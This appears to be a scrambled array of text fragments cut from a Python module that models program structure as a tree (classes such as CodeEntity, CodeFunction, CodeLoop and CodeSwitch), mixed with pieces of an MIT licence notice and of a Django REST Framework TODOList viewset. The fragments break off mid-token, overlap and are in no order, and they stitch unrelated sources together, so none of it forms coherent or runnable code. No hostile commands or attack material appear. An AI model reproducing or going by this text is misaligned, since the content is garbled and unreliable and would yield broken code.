"self.name, params) class CodeClass(CodeEntity): \"\"\"This class represents a program class", "[self.then_branch, self.else_branch] return [self.then_branch] def _add_default_branch(self, body): \"\"\"Add a default", "copyright notice and this permission notice shall be included in", "can be a statement on its own, but also returns", "reference in the program. result (str): The return type of", "None def walk_preorder(self): \"\"\"Iterates the program tree starting from this", "variable. If the variable is a *member*/*field*/*attribute* of an object,", "object's `body`.\"\"\" return self.body.statement(i) def statement_after(self, i): \"\"\"Return the statement", "isinstance(declarations, CodeStatement) self.declarations = declarations declarations.scope = self.body def _set_increment(self,", "self if definition else None @property def is_definition(self): \"\"\"Whether this", "else '' prefix = indent * '| ' return '{}[{}:{}]", "that is explicit in languages such as C++, but less", "PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE #AUTHORS", "body else: self.body._add(body) def _children(self): \"\"\"Yield all direct children of", "return type (`result`), a list of parameters and a body", "+ '[empty]' def __repr__(self): \"\"\"Return a string representation of this", "statement): \"\"\"Add a default branch to this switch.\"\"\" self.default_case =", "to print a tree-like structure. Kwargs: indent (int): The number", "self.name, args) class CodeDefaultArgument(CodeExpression): \"\"\"This class represents a default argument.", "of this object, that is no children. This class inherits", "else: pretty += spaces + ' [declaration]' return pretty def", "curly braces in C, C++, Java, etc. This model assumes", "self.name = name self.result = result self.parameters = [] self.body", "Python. This class is meant to represent a literal whose", "repeated while the condition holds. \"\"\" def __init__(self, scope, parent,", "the expression is enclosed in parentheses. \"\"\" CodeEntity.__init__(self, scope, parent)", "name. In some cases, it may also have an associated", "object.\"\"\" return str(self.body) class CodeDeclaration(CodeStatement): \"\"\"This class represents a declaration", "values to the variable. If the variable is a *member*/*field*/*attribute*", "to this object.\"\"\" assert isinstance(codeobj, CodeVariable) self.variables.append(codeobj) def _children(self): \"\"\"Yield", "its arguments. \"\"\" _UNARY_TOKENS = (\"+\", \"-\") _BINARY_TOKENS = (\"+\",", "(variables, functions), a list of superclasses, and a list of", "list). \"\"\" def statement(self, i): \"\"\"Return the *i*-th statement from", "(CodeEntity): This object's parent in the program tree. result (str):", "object-oriented languages. A class typically has a name, an unique", "of this object.\"\"\" for codeobj in self.body._children(): yield codeobj for", "############################################################################### # Helpers ############################################################################### def pretty_str(something, indent=0): \"\"\"Return a human-readable", "codeobj in self.walk_preorder(): codeobj._fi = fi fi += 1 if", "paren=False): \"\"\"Constructor for null literals. Args: scope (CodeEntity): The program", "assert isinstance(statement, CodeStatement) self.increment = statement statement.scope = self.body def", "a catch block (exception variable declaration and block) to this", "of the function's parameters. \"\"\" return (isinstance(self.scope, CodeStatement) or (isinstance(self.scope,", "'[{}] #{}'.format(self.result, self.name) class CodeOperator(CodeExpression): \"\"\"This class represents an operator", "2) for c in self.members ) else: pretty += spaces", "args) return '[{}] {}({})'.format(self.result, self.name, args) class CodeDefaultArgument(CodeExpression): \"\"\"This class", "expressions to be statements on their own. A common example", "in the program. Kwargs: paren (bool): Whether the literal is", "as indentation. \"\"\" return '\\n\\n'.join( codeobj.pretty_str(indent=indent) for codeobj in self.children", "a default body for this conditional (the `else` branch).\"\"\" assert", "list of members (variables, functions), a list of superclasses, and", "class CodeSwitch(CodeControlFlow): \"\"\"This class represents a switch statement. A switch", "paren=False): \"\"\"Constructor for expressions. Args: scope (CodeEntity): The program scope", "function in the program. result (str): The return type of", "codeobj._afterpass() def pretty_str(self, indent=0): \"\"\"Return a human-readable string representation of", "condition is met). A control flow statement typically has a", "assert isinstance(codeobj, CodeExpression.TYPES) self.arguments = self.arguments + (codeobj,) def _set_method(self,", "Language Model ############################################################################### class CodeEntity(object): \"\"\"Base class for all programming", "object that is an instance of a given class.\"\"\" codeobj", "in self.body._children(): yield codeobj for codeobj in self.else_body._children(): yield codeobj", "operations to variables. This should only be called after the", "values) def __repr__(self): \"\"\"Return a string representation of this object.\"\"\"", "= name self.result = result self.value = None self.member_of =", "self.superclasses = [] self.member_of = None self.references = [] self._definition", "omitted arguments. A default argument has only a return type.", "in the program (useful to resolve references), a list of", "c in self.children) return pretty def __repr__(self): \"\"\"Return a string", "allow expressions to be statements on their own. A common", "(isinstance(self.scope, CodeStatement) or (isinstance(self.scope, CodeFunction) and self not in self.scope.parameters))", "(its `condition`) and then declares at least one branch (*cases*)", "{}'.format(self.declarations, self.body) def pretty_str(self, indent=0): \"\"\"Return a human-readable string representation", "other objects. It is also the only object that does", "program tree. \"\"\" CodeStatement.__init__(self, scope, parent) self.variables = [] def", "object's parent in the program tree. \"\"\" self.scope = scope", "composite literal has a sequence of values that compose it", "the program. result (str): The return type of the expression", "publish, distribute, sublicense, and/or sell #copies of the Software, and", "allowed to have a default branch (the `else` branch), besides", "languages allow loops to define local declarations, as well as", "C, C++ or Java, consider this special kind of statement", "typically has a name and a list of children objects", "class CodeCatchBlock(CodeStatement, CodeStatementGroup): \"\"\"Helper class for catch statements within a", "amount of spaces to use as indentation. \"\"\" if self.body:", "objects. Args: scope (CodeEntity): The program scope where this object", "\"\"\" def __init__(self): \"\"\"Constructor for global scope objects.\"\"\" CodeEntity.__init__(self, None,", "the program tree. id: An unique identifier for this function.", "is an assignment operator.\"\"\" return self.name == \"=\" def _add(self,", "class CodeGlobalScope(CodeEntity): \"\"\"This class represents the global scope of a", "catch block structures.\"\"\" CodeStatement.__init__(self, scope, parent) self.declarations = None self.body", "return self.body.statement(k) if k > o and k < n:", "object's parent in the program tree. \"\"\" CodeControlFlow.__init__(self, scope, parent,", "return True def _children(self): \"\"\"Yield all direct children of this", "\"\"\"Return a string representation of this object.\"\"\" if self.field_of: return", "containing scope is a statement (e.g. a block), or a", "typically has a name, an unique `id`, a list of", "the *i*-th statement from the object's `body`.\"\"\" return self.body.statement(i) def", "has an `id` which uniquely identifies it in the program", "for a compound literal. Args: scope (CodeEntity): The program scope", "self.column or 0 name = type(self).__name__ spell = getattr(self, 'name',", "return self.name class CodeExpressionStatement(CodeStatement): \"\"\"This class represents an expression statement.", "a function parameter.\"\"\" return (isinstance(self.scope, CodeFunction) and self in self.scope.parameters)", "# ----- Statement Entities ---------------------------------------------------- class CodeStatement(CodeEntity): \"\"\"Base class for", "isinstance(codeobj, (CodeFunction, CodeVariable, CodeClass)) self.members.append(codeobj) codeobj.member_of = self def _children(self):", "called function. If a call references a class method, its", "with the class hierarchy. It should have no children, thus", "object.\"\"\" assert isinstance(codeobj, (CodeFunction, CodeVariable, CodeClass)) self.members.append(codeobj) codeobj.member_of = self", "of both branches combined.\"\"\" return len(self.body) + len(self.else_body) def _children(self):", "a concept that is explicit in languages such as C++,", "the only object that does not have a `scope` or", "NO EVENT SHALL THE #AUTHORS OR COPYRIGHT HOLDERS BE LIABLE", "parent in the program tree. id: An unique identifier for", "of spaces to use as indentation. \"\"\" spaces = '", "default branches (executed when no condition is met). A control", "CodeStatement) self.declarations = declarations declarations.scope = self.body def _set_body(self, body):", "control flow, etc.). This class provides common functionality for such", "cls (class): The class to use as a filter. Kwargs:", "structure. Kwargs: indent (int): The number of indentation levels. \"\"\"", "'null', paren) def _children(self): \"\"\"Yield all the children of this", "`catch` blocks may be defined to handle specific types of", "given class.\"\"\" codeobj = self.parent while codeobj is not None", "`for`). Some languages allow loops to define local declarations, as", "that contains the attribute this is a reference of.\"\"\" assert", "attribute this is a reference of.\"\"\" assert isinstance(codeobj, CodeExpression) self.field_of", "+= '(' + superclasses + ')' pretty += ':\\n' if", "when an exception is raised and handled). \"\"\" def __init__(self,", "entity is known, `reference` should be set. If the reference", "of the catch block.\"\"\" assert isinstance(body, CodeBlock) self.body = body", "string representation of this object.\"\"\" return '[namespace {}]'.format(self.name) class CodeGlobalScope(CodeEntity):", "typically has a name (of the called function), a return", "== 2 @property def is_ternary(self): \"\"\"Whether this is a ternary", "a child (function, variable, class) to this object.\"\"\" assert isinstance(codeobj,", "Java, it may be the same as a class, or", "self.name def __repr__(self): \"\"\"Return a string representation of this object.\"\"\"", "source = self.walk_preorder if recursive else self._children return [ codeobj", "consider this special kind of statement for declaring variables within", "the program tree. Kwargs: paren (bool): Whether the null literal", "the program tree. name (str): The name of the statement", "explicitly provided by the programmer. This class represents such omitted", "self.parenthesis: return (' ' * indent) + '(' + self.name", "literal. A composite literal is any type of literal whose", "+ 2) return pretty class CodeCatchBlock(CodeStatement, CodeStatementGroup): \"\"\"Helper class for", "function parameters to have default values when not explicitly provided", "It does not have a name. \"\"\" def __init__(self, scope,", "hereby granted, free of charge, to any person obtaining a", "scope, parent, explicit=True): \"\"\"Constructor for code blocks. Args: scope (CodeEntity):", "class represents a program namespace. A namespace is a concept", "body for this conditional (the `else` branch).\"\"\" assert isinstance(body, CodeStatement)", "self._lookup_parent(CodeFunction) @property def statement(self): \"\"\"The statement where this expression occurs.\"\"\"", "condition and a `CodeBlock` that is executed when the condition", "self.body._children(): yield codeobj def _afterpass(self): \"\"\"Assign a function-local index to", "a string representation of this object.\"\"\" if self.value is not", "\"\"\"Lookup a transitive parent object that is an instance of", "cls) ] def _afterpass(self): \"\"\"Finalizes the construction of a code", "all direct children of this object.\"\"\" if self.field_of: yield self.field_of", "value = list(value) except TypeError as te: raise AssertionError(str(te)) CodeLiteral.__init__(self,", "is meant to represent a literal whose type is not", "'.join(map(repr, self.value))) class CodeReference(CodeExpression): \"\"\"This class represents a reference expression", "of this object.\"\"\" if self.method_of: yield self.method_of for codeobj in", "class for catch statements within a try-catch block.\"\"\" def __init__(self,", "statement. Some languages, such as C, C++ or Java, consider", "name. \"\"\" def __init__(self, scope, parent, name): \"\"\"Constructor for control", "len(self.arguments) == 2 @property def is_ternary(self): \"\"\"Whether this is a", "0 for codeobj in self.walk_preorder(): codeobj._fi = fi fi +=", "parent, result, value=(), paren=False): \"\"\"Constructor for a compound literal. Args:", "if codeobj.arguments and isinstance(codeobj.arguments[0], CodeReference): var = codeobj.arguments[0].reference if isinstance(var,", "just for consistency with the class hierarchy. It should have", "object.\"\"\" return '#' + self.name def __repr__(self): \"\"\"Return a string", "None, 'null', paren) def _children(self): \"\"\"Yield all the children of", "direct children of this object.\"\"\" if self.field_of: yield self.field_of def", "direct children of this object.\"\"\" for codeobj in self.arguments: if", "scope, parent): \"\"\"Constructor for conditionals. Args: scope (CodeEntity): The program", "for this variable. name (str): The name of the variable", "parent) self.name = name self.condition = True self.body = CodeBlock(scope,", "operator, which can be a statement on its own, but", "be set. If the reference is a field/attribute of an", "statement. A switch evaluates a value (its `condition`) and then", "is self def _add(self, codeobj): \"\"\"Add a child (function, variable,", "= ' ' * indent decls = ('...' if self.declarations", "Whether the null literal is enclosed in parentheses. \"\"\" CodeLiteral.__init__(self,", "A control flow statement typically has a name. \"\"\" def", "inherited from, and not instantiated directly. An expression typically has", "\"\"\"This class represents an expression statement. It is only a", "codeobj in self.variables: yield codeobj def pretty_str(self, indent=0): \"\"\"Return a", "for object-oriented languages. A class typically has a name, an", "(the `else` branch).\"\"\" assert isinstance(body, CodeStatement) if isinstance(body, CodeBlock): self.else_body", "limitation the rights #to use, copy, modify, merge, publish, distribute,", "the program tree. \"\"\" self.scope = scope self.parent = parent", "1) except IndexError as e: return None def __getitem__(self, i):", "= id_ self.name = name self.members = [] self.superclasses =", "A loop has only a single branch, its condition plus", "\"\"\"This class represents a declaration statement. Some languages, such as", "value is unknown). Additionally, a variable has an `id` which", "parent, name) self.declarations = None self.increment = None def _set_declarations(self,", "function or code block they belong to) and a parent", "CodeExpression): yield self.value def pretty_str(self, indent=0): \"\"\"Return a human-readable string", "a variable is *global* if it is declared directly under", "isinstance(codeobj, CodeExpression.TYPES) self.arguments = self.arguments + (codeobj,) def _set_method(self, codeobj):", "for codeobj in catch_block._children(): yield codeobj for codeobj in self.finally_body._children():", "program. \"\"\" CodeEntity.__init__(self, scope, parent) self.id = id_ self.name =", "= '{}({})' if self.parenthesis else '{}{}' if self.is_unary: operator =", "in the program tree. Kwargs: explicit (bool): Whether the block", "represents a program class for object-oriented languages. A class typically", "\"\"\" if self.parenthesis: return (' ' * indent) + '('", "DAMAGES OR OTHER #LIABILITY, WHETHER IN AN ACTION OF CONTRACT,", "CodeClass, CodeFunction, CodeVariable)) self.children.append(codeobj) def _children(self): \"\"\"Yield all direct children", "{} {}'.format(pretty_str(self.arguments[0]), self.name, pretty_str(self.arguments[1])) return pretty.format(indent, operator) def __repr__(self): \"\"\"Return", "CodeDefaultArgument(CodeExpression): \"\"\"This class represents a default argument. Some languages, such", "only a wrapper. Many programming languages allow expressions to be", "program scope where this object belongs. parent (CodeEntity): This object's", "child.walk_preorder(): yield descendant def filter(self, cls, recursive=False): \"\"\"Retrieves all descendants", "+ len(self.finally_body) n += sum(map(len, self.catches)) return n def __repr__(self):", "parent self.file = None self.line = None self.column = None", "self.declarations = None self.body = CodeBlock(scope, self, explicit=True) def _set_declarations(self,", "scope is the root object of a program. If there", "has a name (its token), a return type, and a", "are often considered expressions, and, as such, assignment operators are", "pretty += '\\n{}else:\\n'.format(spaces) pretty += self.else_body.pretty_str(indent=indent + 2) return pretty", "substantial portions of the Software. #THE SOFTWARE IS PROVIDED \"AS", "\"<\", \">\", \"<=\", \">=\", \"==\", \"!=\", \"&&\", \"||\", \"=\") def", "in self.body._children(): yield codeobj def __repr__(self): \"\"\"Return a string representation", "boolean, as bare Python literals are used for those. A", "all programming entities. All code objects have a file name,", "`catch` block, when an exception is raised and handled). \"\"\"", "write operations to variables. This should only be called after", "descend recursively down the tree. \"\"\" source = self.walk_preorder if", "the argument in the program. \"\"\" CodeExpression.__init__(self, scope, parent, '(default)',", "The return type of the function in the program. \"\"\"", "\"\"\"Yield all direct children of this object.\"\"\" if self.declarations: yield", "\"\"\"Set the main body of the catch block.\"\"\" assert isinstance(body,", "for such statements. In many languages, statements must be contained", "codeobj = codeobj.parent return codeobj def pretty_str(self, indent=0): \"\"\"Return a", "= ('...' if self.declarations is None else self.declarations.pretty_str()) body =", "scope, parent, name): \"\"\"Constructor for loops. Args: scope (CodeEntity): The", "name of the loop statement in the program. \"\"\" CodeControlFlow.__init__(self,", "are often one of the most complex constructs of programming", "namespace in the program. \"\"\" CodeEntity.__init__(self, scope, parent) self.name =", "\"\"\"This class represents a switch statement. A switch evaluates a", "minimal string to print a tree-like structure. Kwargs: indent (int):", "CodeClass(CodeEntity): \"\"\"This class represents a program class for object-oriented languages.", "+ n) raise IndexError('statement index out of range') def statement_after(self,", "this permission notice shall be included in #all copies or", "def _lookup_parent(self, cls): \"\"\"Lookup a transitive parent object that is", "3]`. A composite literal has a sequence of values that", "__init__(self, scope, parent, name, result, paren=False): \"\"\"Constructor for expressions. Args:", "C++, Java, etc.). Blocks are little more than collections of", "yield self.condition if self.increment: yield self.increment for codeobj in self.body._children():", "to use as indentation. \"\"\" spaces = ' ' *", "(e.g. the function or code block they belong to) and", "parent in the program tree. \"\"\" CodeEntity.__init__(self, scope, parent) self._si", "class represents such omitted arguments. A default argument has only", "* indent if self.value is not None: return '{}{} {}'.format(indent,", "function calls. This class is meant to be inherited from,", "as indentation. \"\"\" indent = ' ' * indent pretty", "argument in the program. \"\"\" CodeExpression.__init__(self, scope, parent, '(default)', result)", "and a value (or `None` for variables without a value", "return isinstance(self.scope, (CodeGlobalScope, CodeNamespace)) @property def is_parameter(self): \"\"\"Whether this is", "in child.walk_preorder(): yield descendant def filter(self, cls, recursive=False): \"\"\"Retrieves all", "+= spaces + ' [declaration]' else: pretty += self.body.pretty_str(indent +", "together (e.g. functions, code blocks). It is not meant to", "object.\"\"\" if isinstance(self.expression, CodeExpression): yield self.expression def pretty_str(self, indent=0): \"\"\"Return", "statement(self): \"\"\"The statement where this expression occurs.\"\"\" return self._lookup_parent(CodeStatement) def", "to the sequence in this composition.\"\"\" self.value.append(child) def _children(self): \"\"\"Yield", "(e.g. in a `for`).\"\"\" assert isinstance(statement, CodeStatement) self.increment = statement", "If a call references a class method, its `method_of` should", "a string representation of this object.\"\"\" return str(self.variables) class CodeControlFlow(CodeStatement,", "instance of a given class.\"\"\" codeobj = self.parent while codeobj", "not codeobj._definition is None: codeobj._definition.member_of = self codeobj._afterpass() def pretty_str(self,", "block structures. Args: scope (CodeEntity): The program scope where this", "body): \"\"\"Set the finally body for try block structure.\"\"\" assert", "for statements. Args: scope (CodeEntity): The program scope where this", "string is used instead. Args: scope (CodeEntity): The program scope", "a string representation of this object.\"\"\" return self.__repr__() def __repr__(self):", "\"\"\"Set the condition for this control flow structure.\"\"\" assert isinstance(condition,", "yield descendant def filter(self, cls, recursive=False): \"\"\"Retrieves all descendants (including", "None and so on. \"\"\" def __init__(self, scope, parent, paren=False):", "def _afterpass(self): \"\"\"Finalizes the construction of a code entity.\"\"\" pass", "initial value sequence in this composition. result (str): The return", "self.body def _set_body(self, body): \"\"\"Set the main body of the", "= body else: self.else_body._add(body) def __len__(self): \"\"\"Return the length of", "'(' + superclasses + ')' pretty += ':\\n' if self.members:", "pretty = '{}{} {}({}):\\n'.format(spaces, self.result, self.name, params) if self._definition is", "value=(), paren=False): \"\"\"Constructor for a compound literal. Args: scope (CodeEntity):", "in the program tree. \"\"\" CodeControlFlow.__init__(self, scope, parent, \"switch\") self.cases", "name self.condition = True self.body = CodeBlock(scope, self, explicit=False) def", "(bool): Whether the expression is enclosed in parentheses. \"\"\" CodeExpression.__init__(self,", "scope, parent, value, result, paren) @property def values(self): return tuple(self.value)", "block (e.g. `{}` in C, C++, Java, etc.). Blocks are", "+= self.body.pretty_str(indent=indent + 2) for block in self.catches: pretty +=", "a statement on its own, but also returns a value", "body): \"\"\"Add a default body for this conditional (the `else`", "for references. Args: scope (CodeEntity): The program scope where this", "\"\"\"This class represents an indefinite value. Many programming languages have", "block.\"\"\" return self.body[i] def _add(self, codeobj): \"\"\"Add a child (statement)", "\"\"\" CodeControlFlow.__init__(self, scope, parent, 'if') self.else_body = CodeBlock(scope, self, explicit=False)", "expression typically has a name (e.g. the name of the", "explicit=True): \"\"\"Constructor for code blocks. Args: scope (CodeEntity): The program", "if isinstance(self.condition, CodeExpression): yield self.condition if self.increment: yield self.increment for", "more branches, or default branches (executed when no condition is", "a reference of.\"\"\" assert isinstance(codeobj, CodeExpression) self.field_of = codeobj def", "also the only object that does not have a `scope`", "yield self.value def pretty_str(self, indent=0): \"\"\"Return a human-readable string representation", "tree. name (str): The name of the operator in the", "* indent condition = pretty_str(self.condition) pretty = '{}switch ({}):\\n'.format(spaces, condition)", "k > 0: if k < o: return self.body.statement(k) if", "EXPRESS OR #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES", "which a method is being called. \"\"\" def __init__(self, scope,", "variables within a function, for instance. A declaration statement contains", "The amount of spaces to use as indentation. \"\"\" spaces", "return len(self.body) + len(self.else_body) def _children(self): \"\"\"Yield all direct children", "in parentheses. It does not have a name. \"\"\" def", "codeobj._definition.member_of = self codeobj._afterpass() def pretty_str(self, indent=0): \"\"\"Return a human-readable", "(CodeEntity): This object's parent in the program tree. value (CodeExpression|CodeExpression[]):", "of spaces to use as indentation. \"\"\" return '{}{} {}", "explicit=True) self.catches = [] self.finally_body = CodeBlock(scope, self, explicit=True) def", "this switch.\"\"\" self.default_case = statement def pretty_str(self, indent=0): \"\"\"Return a", "def __init__(self, scope, parent): \"\"\"Constructor for declaration statements. Args: scope", "string representation of this object.\"\"\" return '[{}] {{{}}}'.format(self.result, ', '.join(map(repr,", "else: self.else_body._add(body) def __len__(self): \"\"\"Return the length of both branches", "a code block (e.g. `{}` in C, C++, Java, etc.).", "within a program. Expressions can be of many types, including", "a file name, a line number, a column number, a", "body else: self.else_body._add(body) def __len__(self): \"\"\"Return the length of both", "o + n) raise IndexError('statement index out of range') def", "= None @property def is_constructor(self): \"\"\"Whether the called function is", "self.finally_body.pretty_str(indent=indent + 2) return pretty class CodeCatchBlock(CodeStatement, CodeStatementGroup): \"\"\"Helper class", "{}'.format(self.name, str(self.value)) return self.name class CodeExpressionStatement(CodeStatement): \"\"\"This class represents an", "class represents an unknown value for diverse primitive types.\"\"\" def", "' + self.name if self.superclasses: superclasses = ', '.join(self.superclasses) pretty", "as their body. \"\"\" def __init__(self, scope, parent, explicit=True): \"\"\"Constructor", "= SomeValue(\"char\") SomeValue.STRING = SomeValue(\"string\") SomeValue.BOOL = SomeValue(\"bool\") class CodeLiteral(CodeExpression):", "each child object and register write operations to variables. This", "value when contained within a larger expression. \"\"\" def __init__(self,", "as if the *then* and *else* branches were concatenated, for", "__init__(self, result): \"\"\"Constructor for unknown values.\"\"\" CodeExpression.__init__(self, None, None, result,", "object of a program. If there are no better candidates,", "name of the reference in the program. result (str): The", "arguments. \"\"\" _UNARY_TOKENS = (\"+\", \"-\") _BINARY_TOKENS = (\"+\", \"-\",", "code is just to avoid creating a new list and", "parent (CodeEntity): This object's parent in the program tree. \"\"\"", "as indentation. \"\"\" spaces = ' ' * indent condition", "for codeobj in self.children ) # ----- Expression Entities ---------------------------------------------------", "pretty.format(indent, operator) def __repr__(self): \"\"\"Return a string representation of this", "isinstance(self.condition, CodeExpression): yield self.condition for codeobj in self.body._children(): yield codeobj", "'\\n{}else:\\n'.format(spaces) pretty += self.else_body.pretty_str(indent=indent + 2) return pretty class CodeLoop(CodeControlFlow):", "the program. \"\"\" CodeStatement.__init__(self, scope, parent) self.name = name self.value", "None def _add(self, codeobj): \"\"\"Add a child (statement) to this", "yield codeobj for codeobj in self.body._children(): yield codeobj def _afterpass(self):", "len(self.body) self.body.append(codeobj) def _children(self): \"\"\"Yield all direct children of this", "entities. All code objects have a file name, a line", "A literal has a value (e.g. a list `[1, 2,", "both branches combined.\"\"\" return len(self.body) + len(self.else_body) def _children(self): \"\"\"Yield", "_BINARY_TOKENS = (\"+\", \"-\", \"*\", \"/\", \"%\", \"<\", \">\", \"<=\",", "a declaration.\"\"\" return self._definition is self @property def is_constructor(self): \"\"\"Whether", "__init__(self): \"\"\"Constructor for global scope objects.\"\"\" CodeEntity.__init__(self, None, None) self.children", "indexing purposes. \"\"\" # ----- This code is just to", "pretty_str(self.value)) return indent + self.name def __repr__(self): \"\"\"Return a string", "args=None, paren=False): \"\"\"Constructor for operators. Args: scope (CodeEntity): The program", "variables. Args: scope (CodeEntity): The program scope where this object", "statement def pretty_str(self, indent=0): \"\"\"Return a human-readable string representation of", "define local declarations, as well as an increment statement. A", "if it is declared directly under the program's global scope", "use as indentation. \"\"\" return '\\n\\n'.join( codeobj.pretty_str(indent=indent) for codeobj in", "return pretty_str(self.expression, indent=indent) def __repr__(self): \"\"\"Return a string representation of", "child (statement) to this object.\"\"\" assert isinstance(codeobj, CodeStatement) codeobj._si =", "(e.g. `return 0`). \"\"\" def __init__(self, scope, parent, name): \"\"\"Constructor", "class represents a loop (e.g. `while`, `for`). Some languages allow", "scope, parent): \"\"\"Constructor for switches. Args: scope (CodeEntity): The program", "for default arguments. Args: scope (CodeEntity): The program scope where", "direct children of this object.\"\"\" if self.declarations: yield self.declarations if", "for value in self.value: if isinstance(value, CodeEntity): yield value def", "len(self.arguments) == 3 @property def is_assignment(self): \"\"\"Whether this is an", "\"\"\"Yield all direct children of this object.\"\"\" if self.method_of: yield", "It is only a wrapper. Many programming languages allow expressions", "scope, parent): \"\"\"Constructor for statements. Args: scope (CodeEntity): The program", "+ 2) for block in self.catches: pretty += '\\n' +", "(str): The name of the operator in the program. result", "\"\"\" def __init__(self, scope, parent): \"\"\"Constructor for switches. Args: scope", "a line number, a column number, a programming scope (e.g.", "\"\"\" if isinstance(something, CodeEntity): return something.pretty_str(indent=indent) else: return (' '", "that compose it (`values`), a type (`result`), and it should", "program. result (str): The return type of the expression in", "return self.condition, self.body @property def else_branch(self): \"\"\"The default branch of", "for codeobj in self.body._children(): yield codeobj def __repr__(self): \"\"\"Return a", "\"\"\" return '\\n\\n'.join( codeobj.pretty_str(indent=indent) for codeobj in self.children ) #", "def statement(self, i): \"\"\"Return the *i*-th statement of this block.\"\"\"", "blocks combined.\"\"\" n = len(self.body) + len(self.catches) + len(self.finally_body) n", "objects (variables, functions or classes). \"\"\" def __init__(self, scope, parent,", "= {}'.format(' ' * indent, self.result, self.name, pretty_str(self.value)) def __repr__(self):", "example present in many programming languages are list literals, often", "parent) self.variables = [] def _add(self, codeobj): \"\"\"Add a child", "self.else_body.statement(i) return self.body.statement(i - o + n) raise IndexError('statement index", "0 col = self.column or 0 name = type(self).__name__ spell", "__len__(self): \"\"\"Return the length of both branches combined.\"\"\" return len(self.body)", "(value and statement) to this switch.\"\"\" self.cases.append((value, statement)) def _add_default_branch(self,", "None self.line = None self.column = None def walk_preorder(self): \"\"\"Iterates", "object.\"\"\" # The default implementation has no children, and thus", "(e.g. `return`, `break`). A jump statement has a name. In", "loop (e.g. `while`, `for`). Some languages allow loops to define", "program tree. id: An unique identifier for this function. name", "`[1, 2, 3]`. A composite literal has a sequence of", "values) return '{}{}'.format(indent, values) def __repr__(self): \"\"\"Return a string representation", "all other objects. It is also the only object that", "this object, that is no children.\"\"\" return iter(()) SomeValue.INTEGER =", "definition else None @property def is_definition(self): \"\"\"Whether this is a", "it is referencing), and a return type. If the referenced", "if isinstance(self.condition, CodeExpression): yield self.condition for codeobj in self.body._children(): yield", "this is a binary operator.\"\"\" return len(self.arguments) == 2 @property", "result (str): The return type of the literal in the", "self.value is not None: return '{} {}'.format(self.name, str(self.value)) return self.name", "the program tree. id: An unique identifier for this variable.", "or binary, and often return numbers or booleans. Some languages", "\"\"\"Return the length of both branches combined.\"\"\" return len(self.body) +", "\"\"\"This class represents a reference expression (e.g. to a variable).", "program tree. name (str): The name of the expression in", "of this object.\"\"\" args = ', '.join(map(str, self.arguments)) if self.is_constructor:", "[ codeobj for codeobj in source() if isinstance(codeobj, cls) ]", "parent (CodeEntity): This object's parent in the program tree. id:", "the class in the program. \"\"\" CodeEntity.__init__(self, scope, parent) self.id", "representation of this object.\"\"\" return '[{}] {!r}'.format(self.result, self.value) CodeExpression.TYPES =", "name = type(self).__name__ spell = getattr(self, 'name', '[no spelling]') result", "of the class.\"\"\" return self._definition is self def _add(self, codeobj):", "\"\"\"This class represents an operator expression (e.g. `a + b`).", "self.name) class CodeFunctionCall(CodeExpression): \"\"\"This class represents a function call. A", "child object and register write operations to variables. This should", "yield self.condition for codeobj in self.body._children(): yield codeobj def __repr__(self):", "code objects. Args: scope (CodeEntity): The program scope where this", "CodeEntity.__init__(self, None, None) self.children = [] def _add(self, codeobj): \"\"\"Add", "if len(self.finally_body) > 0: pretty += '\\n{}finally:\\n'.format(spaces) pretty += self.finally_body.pretty_str(indent=indent", "len(self.body) + len(self.else_body) def _children(self): \"\"\"Yield all direct children of", "the program tree. value (CodeExpression|CodeExpression[]): This literal's value. result (str):", "structures.\"\"\" CodeStatement.__init__(self, scope, parent) self.declarations = None self.body = CodeBlock(scope,", "as indentation. \"\"\" if self.parenthesis: return '{}({})'.format(' ' * indent,", "a name. \"\"\" def __init__(self, scope, parent, value, result, paren=False):", "program tree. \"\"\" CodeControlFlow.__init__(self, scope, parent, \"switch\") self.cases = []", "has a name (of the called function), a return type,", "parent) self.body = CodeBlock(scope, self, explicit=True) self.catches = [] self.finally_body" ]
[ "self.request.user return TODOList.objects.filter(owner=self.request.user).order_by('created_at') def create(self, request, *args, **kwargs): request.data['owner'] =", "TODOList class TODOListViewSet(viewsets.ModelViewSet): permission_classes = [IsAuthenticated] serializer_class = TODOListSerializer def", "= [IsAuthenticated] serializer_class = TODOListSerializer def get_queryset(self): user = self.request.user", "request, *args, **kwargs): request.data['owner'] = request.user.id return super(self.__class__, self).create(request, *args,", "*args, **kwargs): request.data['owner'] = request.user.id return super(self.__class__, self).create(request, *args, **kwargs)", "get_queryset(self): user = self.request.user return TODOList.objects.filter(owner=self.request.user).order_by('created_at') def create(self, request, *args,", "from rest_framework.response import Response from rest_framework.permissions import IsAuthenticated, IsAdminUser from", "Response from rest_framework.permissions import IsAuthenticated, IsAdminUser from api.serializers import TODOListSerializer", "User from rest_framework import viewsets, status from rest_framework.response import Response", "IsAuthenticated, IsAdminUser from api.serializers import TODOListSerializer from api.models import TODOList", "django.contrib.auth.models import User from rest_framework import viewsets, status from rest_framework.response", "def create(self, request, *args, **kwargs): request.data['owner'] = request.user.id return super(self.__class__,", "import Response from rest_framework.permissions import IsAuthenticated, IsAdminUser from api.serializers import", "TODOListSerializer def get_queryset(self): user = self.request.user return TODOList.objects.filter(owner=self.request.user).order_by('created_at') def create(self,", "viewsets, status from rest_framework.response import Response from rest_framework.permissions import IsAuthenticated,", "from rest_framework import viewsets, status from rest_framework.response import Response from", "from rest_framework.permissions import IsAuthenticated, IsAdminUser from api.serializers import TODOListSerializer from", "from api.models import TODOList class TODOListViewSet(viewsets.ModelViewSet): permission_classes = [IsAuthenticated] serializer_class", "return TODOList.objects.filter(owner=self.request.user).order_by('created_at') def create(self, request, *args, **kwargs): request.data['owner'] = request.user.id", "= TODOListSerializer def get_queryset(self): user = self.request.user return TODOList.objects.filter(owner=self.request.user).order_by('created_at') def", "from django.contrib.auth.models import User from rest_framework import viewsets, status from", "import TODOList class TODOListViewSet(viewsets.ModelViewSet): permission_classes = [IsAuthenticated] serializer_class = TODOListSerializer", "[IsAuthenticated] serializer_class = TODOListSerializer def get_queryset(self): user = self.request.user return", "status from rest_framework.response import Response from rest_framework.permissions import IsAuthenticated, IsAdminUser", "rest_framework.response import Response from rest_framework.permissions import IsAuthenticated, IsAdminUser from api.serializers", "TODOListSerializer from api.models import TODOList class TODOListViewSet(viewsets.ModelViewSet): permission_classes = [IsAuthenticated]", "user = self.request.user return TODOList.objects.filter(owner=self.request.user).order_by('created_at') def create(self, request, *args, **kwargs):", "import viewsets, status from rest_framework.response import Response from rest_framework.permissions import", "serializer_class = TODOListSerializer def get_queryset(self): user = self.request.user return 